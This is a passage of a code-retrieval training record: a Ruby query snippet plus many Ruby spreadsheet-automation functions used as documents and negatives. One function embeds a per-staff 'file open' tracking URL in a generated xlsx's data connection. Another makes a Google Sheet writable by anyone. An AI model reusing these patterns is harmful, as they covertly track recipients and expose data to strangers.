data_row +=1 sleep (dly)if data_row <= iter +1 # sleep each iteration except last end f = Time.now tear_down_d(excel[0],s,f)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def xls_timestamp(g,s_s,type=nil,rs_name=nil)\r\n new_ss = (s_s.chomp(\".xls\")<<'_'<<g.t_stamp<<(\".xls\"))\r\n new_ss1 = new_ss.sub(/Tools\\\\.+\\\\/,\"result\\\\#{rs_name}\\\\\")\r\n if (type == 'ind') # driver was launched independently\r\n xl = g.new_xls(s_s,1) #open base driver ss with new excel session\r\n else # driver was launched by controller\r\n xl = g.conn_open_xls(s_s,1) #connect to existing excel session and create new workbook for L2\r\n end\r\n ws = xl[2] # worksheet\r\n\r\n param = Array.new\r\n param[0] = new_ss1\r\n param[1] = ws.Range(\"b2\")['Value'].to_i # rows\r\n param[2] = ws.Range(\"b3\")['Value'] # Test_site\r\n param[3] = ws.Range(\"b4\")['Value'] # username\r\n param[4] = ws.Range(\"b5\")['Value'] # password\r\n\r\n # This is a nested array that contains the instance of excel\r\n # and the spreadsheet parameters listed directly above\r\n excel = [xl,param]\r\n\r\n # save spreadsheet as timestamped name.\r\n g.save_as_xls(xl,new_ss1)\r\n return excel\r\nend\r\n\r\ndef support(g,xl)\r\n puts \" Collect Support page info\"\r\n g.supp.click\r\n sleep 1\r\n wb,ws = xl[1,2]\r\n row = 1\r\n while ws.Range(\"A#{row}\")['Value'] != nil # find the row to start recording support info.\r\n row = row + 1\r\n end\r\n supprt.each do|key|\r\n if !key[0].nil?\r\n c = ws.range(\"A#{(row)}:B#{(row)}\")\r\n c.value = key\r\n c.Interior['ColorIndex'] = 19 # change background color\r\n c.Borders.ColorIndex = 1 # add border\r\n #ws.range(\"A#{row}:B#{row}\").Columns.Autofit\r\n row+=1\r\n end\r\n end\r\n os = ws.range(\"A#{(row)}:B#{(row)}\") #add system os info to ss\r\n os.value = [\"Operating System Language\",\"#{$os}\"]\r\n os.Interior['ColorIndex'] = 43 # change background color\r\n os.Borders.ColorIndex = 1 # add border\r\n ws.range(\"A:B\").ColumnWidth = 255 #255 is the maximum column width\r\n ws.range(\"A:B\").Rows.Autofit\r\n ws.range(\"A:B\").Columns.Autofit\r\n wb.Save\r\nend\r\n\r\n\r\ndef systemos\r\n lang = `systeminfo`\r\n if lang =~ /en-us*/\r\n $os = \"English\"\r\n $titl = \"Connect to \"\r\n $ok =\"OK\"\r\n $cancel = \"Cancel\"\r\n elsif lang =~ /zh-cn*/\r\n $os = \"Chinese\"\r\n $titl = \"连接到 \"\r\n $ok =\"确定\"\r\n $cancel = \"取消\"\r\n end\r\n puts \"This OS is #{$os}\"\r\nend\r\n\r\n# - Support table\r\n#def supprt; det.table(:index, 2).to_a .compact; end\r\ndef supprt\r\n $ie.frame(:index, 5).table(:index, 2).to_a .compact\r\nend\r\n\r\nbegin\r\n puts\" \\n Executing: #{(__FILE__)}\\n\\n\" # print current filename\r\n g = Generic.new\r\n roe = ARGV[1].to_i\r\n excel = setup(g,__FILE__)\r\n wb,ws = excel[0][1,2]\r\n rows = excel[1][1]\r\n\r\n $ie.speed = :zippy\r\n ws = wb.Worksheets('Data')\r\n\r\n g.count_frames\r\n g.monitor.click\r\n sleep(5)\r\n while g.count_images('folderplus.gif') > 0\r\n g.click_all('folderplus.gif')\r\n end\r\n\r\n g.populate_links_array\r\n\r\n #Clean up the links array for the navigation frame\r\n\r\n for i in 2..g.links_array[3].size-1 do # Exclude the Bezel page and Active Events page.\r\n begin\r\n #We don't want to click links with parenthesis for this test case\r\n unless g.links_array[3][i].text =~ /\\(\\d*\\)/ then\r\n puts \"Trying link: #{g.links_array[3][i].text}\"\r\n $ie.frame(:index, 4).link(:id, g.links_array[3][i].id).click\r\n sleep(2) #Wait for the table to finish populating\r\n if g.links_array[3][i-1].text =~ /\\[\\d*\\]/ then\r\n g.table_to_ss(5,ws,g.links_array[3][i].text + ' ' + $&)\r\n else\r\n g.table_to_ss(5,ws,g.links_array[3][i].text)\r\n end\r\n end\r\n rescue => e\r\n if e.to_s =~ /unknown property or method/ then\r\n next #Ignore this error and continue the loop - I think it raises an\r\n #exception because it is trying to access the text of an image...\r\n else\r\n puts e.to_s\r\n end\r\n end\r\n end\r\n\r\nrescue Exception => e\r\n puts\" \\n\\n **********\\n\\n #{$@ } \\n\\n #{e} \\n\\n ***\"\r\n error_present=$@.to_s\r\n\r\nensure #this section is executed even if script goes in error\r\n f = Time.now\r\n # If roe > 0, script is called from controller\r\n # If roe = 0, script is being ran independently\r\n #Close and save the spreadsheet and thes web browser.\r\n g.tear_down_d(excel[0],s,f,roe,error_present)\r\n if roe == 0\r\n $ie.close\r\n end\r\nend\r\n", "def setup(file)\r\n base_xl = (file).gsub('/','\\\\').chomp('rb')<<'xls'\r\n excel = xls_timestamp(base_xl) # timestamped instance of excel\r\n end", "def setup(g,file,rs_name = nil)\r\n systemos #Determine whether the OS is Chinese or English\r\n base_xl = (file).gsub('/','\\\\').chomp('rb')<<'xls'\r\n if(ARGV.length != 0) # called from controller\r\n excel = xls_timestamp(g,base_xl,nil,ARGV[2]) # called ,connect to existing excel instance. # ARGV[2] is the result sub-folder name.\r\n g.attach_ie(excel[1][2]) # test site ip\r\n else\r\n excel = xls_timestamp(g,base_xl,'ind',rs_name) # independent, start new excel instance\r\n g.open_ie(excel[1][2])\r\n support(g,excel[0])\r\n g.ver_info(excel[0])\r\n end\r\n return excel\r\nend", "def create_new_sheet(date, new_spreadsheet_id)\n #make copy of template sheet to new spreadsheet\n new_sheet_id = copy_sheet(new_spreadsheet_id)\n \n #set the name of that sheet\n set_name_of_sheet(date.day.to_s, new_sheet_id, new_spreadsheet_id)\n \n #set the date on the sheet\n set_date_of_sheet(date, new_spreadsheet_id)\nend", "def write_ca_info_to_spreadsheet(timeslot)\n #...\nend", "def excel_create\n raise ExcelError.new('Cannot create excel! An instance is already open') unless @excel.nil?\n\n @excel = WIN32OLE.new('Excel.Application', 'localhost')\n @excel.DisplayAlerts = false\n update_pid(excel_pid)\n end", "def new_xls(s_s) #wb name and sheet number\n ss = WIN32OLE::new('excel.Application')\n wb = ss.Workbooks.Open(s_s)\n ws = wb.Worksheets(1)\n ss.visible = true # For debug\n xls = [ss,wb,ws]\n\nend", "def reports\n battery = Battery.find(params[:battery_id])\n @date1 = Date.parse(params[:date1])\n @date2 = Date.parse(params[:date2])\n @station = battery.station\n package = Axlsx::Package.new\n workbook = package.workbook\n @tests = BatteryWeeklyTest.find(:all, :conditions => [\"DATE(created_at) >= ? AND DATE(created_at) <= ?\", @date1, @date2], :order => \"created_at DESC\")\n\n workbook.add_worksheet(name: \"Sheet 1\") do |sheet|\n # sheet.add_image(:image_src => Rails.root.join('public','images','ntlogo.png').to_s, :noSelect => true, :noMove => true) do |image|\n # image.width=70\n # image.height=71\n # image.start_at 22, 14\n # image.end_at 1, 1\n # end\n sheet.add_row [\"Weekly Test Report on #{@date} of station #{@station.name}\"]\n @tests.each_slice(24).with_index do |slice, index|\n sheet.add_row [\"Bank No #{ index + 1}\"]\n sheet.add_row [\"Cell No.\", \"Total Voltage\", \"Visual Inspection\", \"Reported by\", \"Reported date\"], :style => Axlsx::STYLE_THIN_BORDER\n slice.each_with_index do |t, i|\n sheet.add_row [i+1, t.cell_voltage, t.visual_inspection,t.inserted_by, t.created_at.to_s], :style => Axlsx::STYLE_THIN_BORDER \n end\n sheet.column_widths 10,nil, 23, 23, 23\n sheet.merge_cells(\"A1:D1\")\n end\n end\n send_data package.to_stream.read, :filename => 'report.xlsx', :type => \"application/vnd.openxmlformates-officedocument.spreadsheetml.sheet\"\n end", "def get_attach_file_name_xlsx staff_id_hash, serial_number, base_url\n\n f = File.open(\"#{Rails.root}/lib/tasks/xlsx_template/sheet1.xml.rels\")\n sheet1 = ''\n f.each do |line|\n sheet1 += line\n end\n f.close\n # insert pdf url into sheet1 file\n new_sheet1 = sheet1.gsub(/%HOST%/, \"http://#{Settings.host}\")\n file_name = \"#{Rails.root}/lib/tasks/xlsx_template/create/xl/worksheets/_rels/sheet1.xml.rels\"\n f = File.open(file_name, 'w')\n f.write new_sheet1\n f.close\n\n f = File.open(\"#{Rails.root}/lib/tasks/xlsx_template/connections.xml\")\n conn = ''\n f.each do |line|\n conn += line\n end\n f.close\n # insert staff_id serial number into connections file\n new_conn = conn.gsub(/%URL%/, base_url.gsub(/%TYPE%/, SendMember::TYPE_FILE_OPEN))\n file_name = \"#{Rails.root}/lib/tasks/xlsx_template/create/xl/connections.xml\"\n f = File.open(file_name, 'w')\n f.write new_conn\n f.close\n\n xlsx_name = \"#{Rails.root}/lib/tasks/xlsx_template/send/#{Staff.decrypt(staff_id_hash)}_#{serial_number}.xlsx\"\n directoryToZip = \"#{Rails.root}/lib/tasks/xlsx_template/create/\"\n\n zf = ZipFileGenerator.new(directoryToZip, xlsx_name)\n zf.write()\n xlsx_name\n end", "def generate_test_from_ms_xls\n\nend", "def create\n # Create the spreadsheet file in /tmp and write the file's contents to it\n filename = \"#{DateTime.now.strftime(\"%Y%m%d%H%M%S\")}_sheet.xls\"\n data = params[:file].read\n spreadsheet_file = File.new(\"#{RAILS_ROOT}/tmp/#{filename}\", 'w+')\n spreadsheet_file.write(data)\n spreadsheet_file.close\n \n begin\n # Create a new instance of DatabaseUpdate for this spreadsheet. \n # NOTE: All the work of running the update on the database is handled\n # inside the DatabaseUpdate class on its first instantiation. i.e., upon create.\n @dbup = DatabaseUpdate.create(:spreadsheet_path => spreadsheet_file.path)\n redirect_to @dbup\n rescue CallLogExceptions::InvalidSpreadsheetError\n # DatabaseUpdate has thrown an error related to the format of the spreadsheet. Alert the user.\n flash[:error] = \"<strong>The spreadsheet you provided is not in the anticipated format.</strong><br/>Please correct the sheet and try again.\"\n redirect_to home_url(Person.find(session[:user_id]))\n end\n end", "def generateExcelFromArray(questions_array, category, tags,file_num)\n book = Spreadsheet::Workbook.new\n sheet1 = book.create_worksheet\n sheet1.row(0).concat %w{QuestionNo TestName Category Tags Directions QuestionText QuestionImage AnswerText AnswerImage Correct Option Option Option Option}\n row_num = 1\n\n questions_array.each do |question|\n row = sheet1.row(row_num)\n row[0] = row_num\n row[1] = question.test_name\n row[2] = question.category\n row[3] = question.tags.join(\",\")\n row[4] = question.directions\n row[5] = question.question_text\n row[6] = question.question_image\n row[7] = question.answer_text\n row[8] = question.answer_image\n row[9] = question.correct_answer\n row[10] = question.options[0]\n row[11] = question.options[1]\n row[12] = question.options[2]\n row[13] = question.options[3]\n\n\n row_num = row_num + 1\n end\n #Formatting row\n sheet1.row(0).height = 18\n format = Spreadsheet::Format.new :color => :blue,:weight => :bold,:size => 12\n sheet1.row(0).default_format = format\n book.write \"/home/malav/rails_projects/generated_excels/#{category}-#{tags}-#{file_num}.xls\"\nend", "def main(host, output_path)\n stub = Rpoi::RemotePOI::Stub.new(host, :this_channel_is_insecure, interceptors: create_interceptors)\n stub2 = Rpoi::RemotePOI::Stub.new(host, :this_channel_is_insecure, interceptors: create_interceptors)\n stub.use_template_file(Google::Protobuf::StringValue.new value: '/mnt/est_template.xls')\n stub2.use_template_file(Google::Protobuf::StringValue.new value: '/mnt/est_template.xls')\n stub.set_cell_value(Rpoi::CellAddressWithValue.new row: 10, col: 1, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::String, string_value: 'SDA-36'))\n stub2.set_cell_value(Rpoi::CellAddressWithValue.new row: 10, col: 1, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::String, string_value: 'SDA-27'))\n stub.set_cell_value(Rpoi::CellAddressWithValue.new row: 10, col: 3, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::Numeric, numeric_value: 20))\n stub2.set_cell_value(Rpoi::CellAddressWithValue.new row: 10, col: 3, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::Numeric, numeric_value: 20))\n stub.set_cell_value(Rpoi::CellAddressWithValue.new row: 11, col: 1, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::String, string_value: 'SDA-27'))\n stub2.set_cell_value(Rpoi::CellAddressWithValue.new row: 11, col: 1, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::String, string_value: 'SDA-36'))\n stub.set_cell_value(Rpoi::CellAddressWithValue.new row: 11, col: 3, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::Numeric, numeric_value: 40))\n stub2.set_cell_value(Rpoi::CellAddressWithValue.new row: 11, col: 3, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::Numeric, numeric_value: 40))\n stub.set_cell_value(Rpoi::CellAddressWithValue.new row: 12, col: 1, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::String, string_value: 'SDB-40'))\n stub2.set_cell_value(Rpoi::CellAddressWithValue.new row: 12, col: 1, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::String, string_value: 'SDC-18'))\n stub.set_cell_value(Rpoi::CellAddressWithValue.new row: 12, col: 3, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::Numeric, numeric_value: 30))\n stub2.set_cell_value(Rpoi::CellAddressWithValue.new row: 12, col: 3, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::Numeric, numeric_value: 30))\n stub.set_cell_value(Rpoi::CellAddressWithValue.new row: 13, col: 1, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::String, string_value: 'SDC-18'))\n stub2.set_cell_value(Rpoi::CellAddressWithValue.new row: 13, col: 1, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::String, string_value: 'SDB-40'))\n stub.set_cell_value(Rpoi::CellAddressWithValue.new row: 13, col: 3, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::Numeric, numeric_value: 15))\n stub2.set_cell_value(Rpoi::CellAddressWithValue.new row: 13, col: 3, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::Numeric, numeric_value: 15))\n\n stub.set_cell_value(Rpoi::CellAddressWithValue.new row: 14, col: 1, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::String, string_value: 'SDA-36'))\n stub.set_cell_value(Rpoi::CellAddressWithValue.new row: 14, col: 3, value: Rpoi::CellValue.new(valueType: Rpoi::CellValueTypes::Numeric, numeric_value: 650))\n\n bytes = stub.download(Google::Protobuf::Empty.new).value\n bytes2= stub2.download(Google::Protobuf::Empty.new).value\n\n num_of_written = IO.binwrite(output_path, bytes)\n puts \"OK! #{num_of_written} bytes written to '#{output_path}'!\"\n\n path2 = insert_suffix(output_path,2)\n num_of_written2= IO.binwrite(path2, bytes2)\n puts \"OK! #{num_of_written} bytes written to '#{path2}'!\"\nend", "def creat_xls(num)\n ss = WIN32OLE::new('excel.Application')\n wb = ss.Workbooks.add\n ws = wb.Worksheets(num)\n ss.visible = true # For debug\n xls = [ss,wb,ws]\nend", "def create_spreadsheet(title = \"Untitled\")\n file = self.drive.files.insert.request_schema.new({\n \"title\" => title,\n \"mimeType\" => \"application/vnd.google-apps.spreadsheet\",\n })\n api_result = execute!(\n :api_method => self.drive.files.insert,\n :body_object => file)\n return wrap_api_file(api_result.data)\n end", "def add_as_sheet(book:)\n\n sheet = book.create_worksheet\n\n sheet.name = \"#{name} #{date.strftime('%F')}\"\n row = sheet.row(1)\n row.push \"Event: \"\n row.push name + \" \" + date.strftime('%F')\n row = sheet.row(2)\n row.push \"Uttag datum:\"\n row.push DateTime.now.strftime('%FT%R')\n row = sheet.row(3)\n row.push \"Bokningar:\"\n row = sheet.row(4)\n row.push \"Id\", \"Biljetter\", \"Namn\", \"Bokades\", \"Epost\", \"Telefon\", \"Kontaktperson\", \"Betalat\", \"Meddelande\", \"Notering\", \"Rabatt\", \"Rabattmeddelande\", \"Paket\"\n bookings.each_with_index do |booking, index|\n row = sheet.row(5+index)\n row.push booking.id, booking.tickets, booking.name, booking.created_at.strftime('%FT%R'), booking.email, booking.phone_nr, booking.contact_person, booking.paid, booking.message, booking.memo, booking.discount, booking.discount_message, booking.order_rows_string\n end\n\n return book\n end", "def newSheet(table, taskName, id=nil)\n # open the Google Sheet service\n service = Google::Apis::SheetsV4::SheetsService.new\n service.client_options.application_name = APPLICATION_NAME\n service.authorization = authorize\n\n # open the Google Drive service\n drive = Google::Apis::DriveV3::DriveService.new\n drive.client_options.application_name = APPLICATION_NAME\n drive.authorization = authorize\n puts \"id in export sheet\"\n puts id\n\n #create a new sheet\n if id == nil\n\n spreadsheet = {\n properties: {\n title: taskName\n }\n }\n spreadsheet = service.create_spreadsheet(spreadsheet,\n fields: 'spreadsheetId')\n puts \"Spreadsheet ID: #{spreadsheet.spreadsheet_id}\"\n #fill the sheet with the data 'table'\n data = [\n {\n range: 'A:Z',\n majorDimension: \"ROWS\",\n values: table,\n }\n ]\n value_range_object = Google::Apis::SheetsV4::ValueRange.new(range: 'A:Z',\n majorDimension: \"ROWS\",\n values: table)\n result = service.update_spreadsheet_value(spreadsheet.spreadsheet_id,\n 'A:Z',\n value_range_object,\n value_input_option: 'RAW')\n puts = \"#{result.updated_cells} cells updated.\"\n file = drive.get_file(spreadsheet.spreadsheet_id)\n puts \"Create this file name: #{file.name}\"\n id = spreadsheet.spreadsheet_id\n\n ##\n # change the permision of the created file\n # line in google-api-ruby-client/lib/google/apis/core/api_command.rb return {} and make and error.\n # self.body = request_representation.new(request_object).to_json(user_options: { skip_undefined: true })\n #\n data = \n {\n \"role\" => \"writer\",\n \"type\" => \"anyone\"\n }\n # byebug\n permision = drive.create_permission(id, data.to_json,\n options: {skip_serialization: true})\n \n link = \"https://docs.google.com/spreadsheets/d/#{file.id}\"\n puts \"use this link: #{link}\"\n \n return link\n ##\n # Updating the file with new information\n else\n id = id.split('/')[5]\n file = drive.get_file(id)\n #geting the info of the sheet\n get_celds = service.get_spreadsheet_values(id, 'A:C')\n #byebug\n puts get_celds.values.length\n n = get_celds.values.length + 1\n range = \"A#{n}:B#{n}\"\n #write!\n value_range_object = Google::Apis::SheetsV4::ValueRange.new(range: range,\n values: table)\n result = service.update_spreadsheet_value(id,\n range,\n value_range_object,\n value_input_option: 'RAW')\n puts \"Updating this: #{file.name}\"\n link = \"https://docs.google.com/spreadsheets/d/#{file.id}\"\n puts \"use this link: #{link}\"\n return link\n end\nend", "def create_games_excel\r\n\r\n if (params[:msg].nil?)\r\n\r\n @student_group = StudentGroup.find(params[:id])\r\n #@book = Spreadsheet.open 'C:/Users/Rushabh Hathi/Desktop/Dialogue1.0/public/Files/abc.txt'\r\n @book = Spreadsheet::Workbook.new\r\n sheet1 = @book.create_worksheet\r\n @rolelist=Role.all(:conditions=>['case_study_id=?', @student_group.case_study_id])\r\n i=1\r\n\r\n# #here role name is added for the list to be populated\r\n# @rolelist.each do |r|\r\n# sheet1[0, i]=r.name\r\n# i=i+1\r\n# end\r\n\r\n @studentgroupuserlist=StudentGroupUser.all(:conditions=>['student_group_id=?', params[:id]])\r\n @studentlist= Array.new\r\n @unallocated_student= Array.new\r\n @studentgroupuserlist.each do |s|\r\n @studentlist << User.find(s.user_id)\r\n end\r\n\r\n #here the dynamic data from student group gets populated\r\n i=1\r\n sheet1[0, 0]=\"Student ID\"\r\n sheet1[0, 1]=\"Student Name\"\r\n sheet1[0, 2]=\"Role Name\"\r\n\r\n\r\n @studentlist.each do |s|\r\n\r\n sheet1[i, 0]=s.id\r\n sheet1[i, 1]=s.first_name+s.last_name\r\n sheet1[i, 2]= \" \"\r\n i=i+1\r\n @book.write \"#{Rails.root}/public/Files/Game_Creation.xls\"\r\n\r\n\r\n end\r\n\r\n end\r\n end", "def generateAppendixA(filePath)\n \n # create new Excel workbook\n workbook = WriteExcel.new(filePath)\n \n # add worksheet(s)\n ws = workbook.add_worksheet\n \n # create formats\n format1 = workbook.add_format\n format1.set_bold\n format1.set_color('white')\n format1.set_align('center')\n format1.set_bg_color('navy')\n format1.set_text_wrap(1)\n \n format2 = workbook.add_format(:valign => 'top', :bold => 0, :text_wrap => 1)\n format3 = workbook.add_format(:valign => 'top', :bold => 0, :text_wrap => 1, :align => 'center')\n \n ws.set_column('A:C', 10)\n ws.set_column('B:B', 15)\n ws.set_column('C:C', 10)\n ws.set_column('D:D', 60)\n ws.set_column('E:E', 10)\n ws.set_column('F:F', 20)\n ws.set_column('G:G', 60)\n ws.set_column('H:H', 20)\n ws.set_column('I:I', 50)\n \n \n # get data\n temp = Enclavecontrol.first\n ecSet = temp.currentSet\n \n # initialize values\n line = 0\n \n # create header row(s)\n conf = Configvalue.where(:name => :systemname).first\n ws.write(line, 0, \"System Name: #{conf.value}\")\n ws.write(line, 5, \"Uncontrolled Copy\")\n line += 1\n conf = Configvalue.where(:name => :acronym).first\n ws.write(line, 0, \"Acronym: #{conf.value}\")\n ws.write(line, 5, \"Refer to database for latest information\")\n line += 1\n \n line += 1\n ws.write(line, 0, \"800-53 Control Number\", format1) # cell Ax\n ws.write(line, 1, \"800-53 Control Name\", format1) # cell Bx\n ws.write(line, 2, \"800-53 Impact Level\", format1) # cell Cx\n ws.write(line, 3, \"800-53 Control Description\", format1) # cell Dx\n ws.write(line, 4, \"CAG Control\", format1) # cell Ex\n ws.write(line, 5, \"SSP-provided Implementation Status\", format1) # cell Fx\n ws.write(line, 6, \"SSP-provided Implementation Description\", format1) # cell Gx\n ws.write(line, 7, \"Test Method\", format1) # cell Hx\n ws.write(line, 8, \"New or Current Plan of Action & Milestones\\nWeakness or Deviation Identifier\\n(if applicable)\", format1) # cell Ix\n \n ws.freeze_panes(line+1, 4)\n # process each input row, only use first enclave since all enclaves should be the same.\n testEnclave = Enclave.where(\"active = 1\").first.id\n ecSet.each do |ec|\n if (ec.enclave_id == testEnclave) then\n line += 1\n ws.write(line, 0, ec.cybercontrol.controlNameNumber, format3) # cell Ax\n ws.write(line, 1, ec.cybercontrol.controlName, format2) # cell Bx\n ws.write(line, 2, ec.cybercontrol.impactLevel, format3) # cell Cx\n ws.write(line, 3, fixQuotes(ec.cybercontrol.controlDescription), format2) # cell Dx\n ws.write(line, 4, (((ec.RMF) ? \"RMF\" : ((ec.cybercontrol.criticalControl) ? \"Yes\" : \"No\"))), format3) # cell Ex\n ws.write(line, 5, ec.SSPImplementationStatus, format3) # cell Fx\n ws.write(line, 6, fixQuotes(ec.SSPImplementationDescription), format2) # cell Gx\n ws.write(line, 7, ec.testMethod, format3) # cell Hx\n ws.write(line, 8, \"n/a\", format2) # cell Ix\n end\n \n end\n \n # write to file\n workbook.close\n \n # delete old files not generated today\n date = DateTime.now\n todaystr = \"#{date.year}#{date.month}#{date.day}\"\n len = todaystr.length\n @fileList1 = Dir.glob(\"#{FileUtils.pwd()}/public/ssout/Appendix-A-*.xls\")\n # test files in dir for old\n @fileList1.each do |filepath|\n loc = filepath.index(\"Appendix-A-\") + 11\n teststr = filepath[loc,len]\n if (teststr != todaystr) then\n File.delete(filepath)\n end\n end\n \n \n end", "def xl_new\n @xl_styles = {}\n xl = Axlsx::Package.new\n xl.use_shared_strings = true\n xl.workbook.styles do |s|\n s.fonts[0].sz = 9\n @xl_styles['Title'] = s.add_style(:b => true)\n @xl_styles['Comma'] = s.add_style(:format_code => '#,##0')\n @xl_styles['Right'] = s.add_style(:alignment => {:horizontal => :right})\n @xl_styles['Add'] = s.add_style :fg_color => '00A000'\n @xl_styles['Update'] = s.add_style :fg_color => '0000A0', :bg_color => 'F0F0FF'\n @xl_styles['Move'] = s.add_style :fg_color => '4040FF'\n @xl_styles['Delete'] = s.add_style :fg_color => 'FF0000', :strike => true\n @xl_styles['Matched'] = s.add_style :fg_coler => 'A0A0A0'\n end\n xl\n end", "def save_as_xls(s_s,save_as)\n sleep 1\n s_s[2].saveas(save_as)\nend", "def spawn_excel\n raise \"No Asset selected for export to Excel\" unless @asset\n xl = ExcelSystem.new\n xl.spawn( @asset )\n end", "def create_spreadsheet\n @package = Axlsx::Package.new\n @workbook = @package.workbook\n\n selected_buildings = @report.user_buildings\n\n services_selected = selected_buildings.collect { |b| b.building_json['services'] }.flatten # s.collect { |s| s['code'].gsub('-', '.') }\n services_selected.uniq!\n\n @workbook.add_worksheet(name: 'Building Information') do |sheet|\n # sheet.add_row ['Buildings information']\n i = 0\n [['Buildings information', nil],\n ['Building Type', 'eg. General office - customer facing, non customer facing, call centre operations.'],\n ['Address', ''],\n [nil, nil], [nil, nil], [nil, nil],\n ['GIA', 'Gross Internal Area: Square Metre (GIA) per annum']].each do |label|\n vals = []\n vals << label[0] << label[1] << row(selected_buildings, i)\n vals.flatten!\n sheet.add_row vals\n i += 1\n end\n end\n\n # selected_services = services_selected.map { |s| s['code'].gsub('-', '.') }\n services = @report.list_of_services # @report.selected_services(selected_services)\n uom_values_for_selected_buildings = @report.uom_values(selected_buildings)\n\n uoms = CCS::FM::UnitsOfMeasurement.all.group_by(&:service_usage)\n uom2 = {}\n uoms.map { |u| u[0].each { |k| uom2[k] = u[1] } }\n\n @workbook.add_worksheet(name: 'Service Matrix') do |sheet|\n i = 1\n vals = ['Work Package', 'Service Reference', 'Service Name', 'Unit of Measure']\n selected_buildings.each do |building|\n vals << 'Building ' + i.to_s + ' - ' + building.building_json['name']\n i += 1\n end\n sheet.add_row vals\n\n work_package = ''\n services.sort_by { |s| [s.work_package_code, s.code[s.code.index('.') + 1..-1].to_i] }.each do |s|\n if work_package == s.work_package_code\n label = nil\n else\n label = 'Work Package ' + s.work_package_code + ' - ' + s.work_package.name\n end\n\n work_package = s.work_package_code\n\n vals = [label, s.code, s.name]\n\n vals_v = []\n vals_h = nil\n uom_labels_2d = []\n selected_buildings.each do |building|\n id = building.building_json['id']\n suv = uom_values_for_selected_buildings.select { |v| v['building_id'] == id && v['service_code'] == s.code }\n\n any_suv = uom_values_for_selected_buildings.select { |v| v['service_code'] == s.code }\n\n vals_h = []\n uom_labels = []\n if suv.empty?\n if uom2[s.code]\n uom_labels << uom2[s.code].last.spreadsheet_label\n elsif s.work_package_code == 'A' || s.work_package_code == 'B'\n uom_labels << nil\n elsif s.work_package_code == 'M' || s.work_package_code == 'N'\n uom_labels << 'Percentage of Year 1 Deliverables Value (excluding Management and Corporate Overhead, and Profit) at call-off'\n elsif any_suv.empty?\n uom_labels << 'service (per annum)'\n end\n\n vals_h << nil\n else\n suv.each do |v|\n if v['spreadsheet_label']\n uom_labels << v['spreadsheet_label']\n elsif uom2[s.code]\n uom_labels << uom2[s.code].last.spreadsheet_label\n end\n\n vals_h << v['uom_value']\n end\n end\n vals_v << vals_h\n uom_labels_2d << uom_labels\n rescue StandardError\n vals << '=NA()'\n end\n\n uom_labels_max = uom_labels_2d.max\n\n max_j = vals_v.map(&:length).max\n if max_j\n (0..max_j - 1).each do |j|\n vals << uom_labels_max[j]\n\n (0..vals_v.count - 1).each do |k|\n vals << vals_v[k][j]\n end\n sheet.add_row vals\n\n vals = [nil, s.code, s.name]\n end\n end\n # end\n work_package = s.work_package_code\n end\n end\n\n @workbook.add_worksheet(name: 'Procurement summary') do |sheet|\n date = sheet.styles.add_style(format_code: 'dd mmm yyyy', border: Axlsx::STYLE_THIN_BORDER)\n left_align = sheet.styles.add_style(alignment: { horizontal: :left })\n ccy = sheet.styles.add_style(format_code: '£#,##0')\n\n sheet.add_row ['CCS reference number & date/time of production of this document']\n sheet.add_row\n sheet.add_row ['1. Customer details']\n sheet.add_row ['Name']\n sheet.add_row ['Organisation']\n sheet.add_row ['Position']\n sheet.add_row ['Contact details']\n sheet.add_row\n sheet.add_row ['2. Contract requirements']\n sheet.add_row ['Initial Contract length', @report.contract_length_years, 'years'], style: [nil, nil, left_align]\n sheet.add_row ['Extensions']\n sheet.add_row\n sheet.add_row ['Tupe involvement', @report.tupe_flag]\n sheet.add_row\n sheet.add_row ['Contract start date', @report.start_date&.to_date], style: [nil, date]\n sheet.add_row\n sheet.add_row ['3. Price and sub-lot recommendation']\n sheet.add_row ['Assessed Value', @report.assessed_value], style: [nil, ccy]\n sheet.add_row ['Assessed value estimated accuracy'], style: [nil, ccy]\n sheet.add_row\n sheet.add_row ['Lot recommendation', @report.current_lot]\n sheet.add_row ['Direct award option']\n sheet.add_row\n # sheet.add_row ['4. Supplier Shortlist']\n label = '4. Supplier Shortlist'\n @report.selected_suppliers(@current_lot).each do |supplier|\n sheet.add_row [label, supplier.data['supplier_name']]\n label = nil\n end\n sheet.add_row\n\n # sheet.add_row ['5. Regions summary']\n label = '5. Regions summary'\n FacilitiesManagement::Region.all.select { |region| @data[:posted_locations].include? region.code }.each do |region|\n sheet.add_row [label, region.name]\n label = nil\n end\n sheet.add_row\n\n # sheet.add_row ['6 Services summary']\n # services = FacilitiesManagement::Service.where(code: @data['posted_services'])\n services = @report.list_of_services\n services.sort_by!(&:name)\n label = '6 Services summary'\n services.each do |s|\n sheet.add_row [label, s.name]\n label = nil\n end\n sheet.add_row\n end\n end", "def create_games_excel\n\n\tif (params[:msg].nil?)\n\n\t @student_group = StudentGroup.find(params[:id])\n\t #@book = Spreadsheet.open 'C:/Users/Rushabh Hathi/Desktop/Dialogue1.0/public/Files/abc.txt'\n\t @book = Spreadsheet::Workbook.new\n\t sheet1 = @book.create_worksheet\n\t @rolelist=Role.all(:conditions=>['case_study_id=?', @student_group.case_study_id])\n\t i=1\n\n# #here role name is added for the list to be populated\n# @rolelist.each do |r|\n# sheet1[0, i]=r.name\n# i=i+1\n# end\n\n\t @studentgroupuserlist=StudentGroupUser.all(:conditions=>['student_group_id=?', params[:id]])\n\t @studentlist= Array.new\n\t @unallocated_student= Array.new\n\t @studentgroupuserlist.each do |s|\n\t\t@studentlist << User.find(s.user_id)\n\t end\n\n\t #here the dynamic data from student group gets populated\n\t i=1\n\t sheet1[0, 0]=\"Student ID\"\n\t sheet1[0, 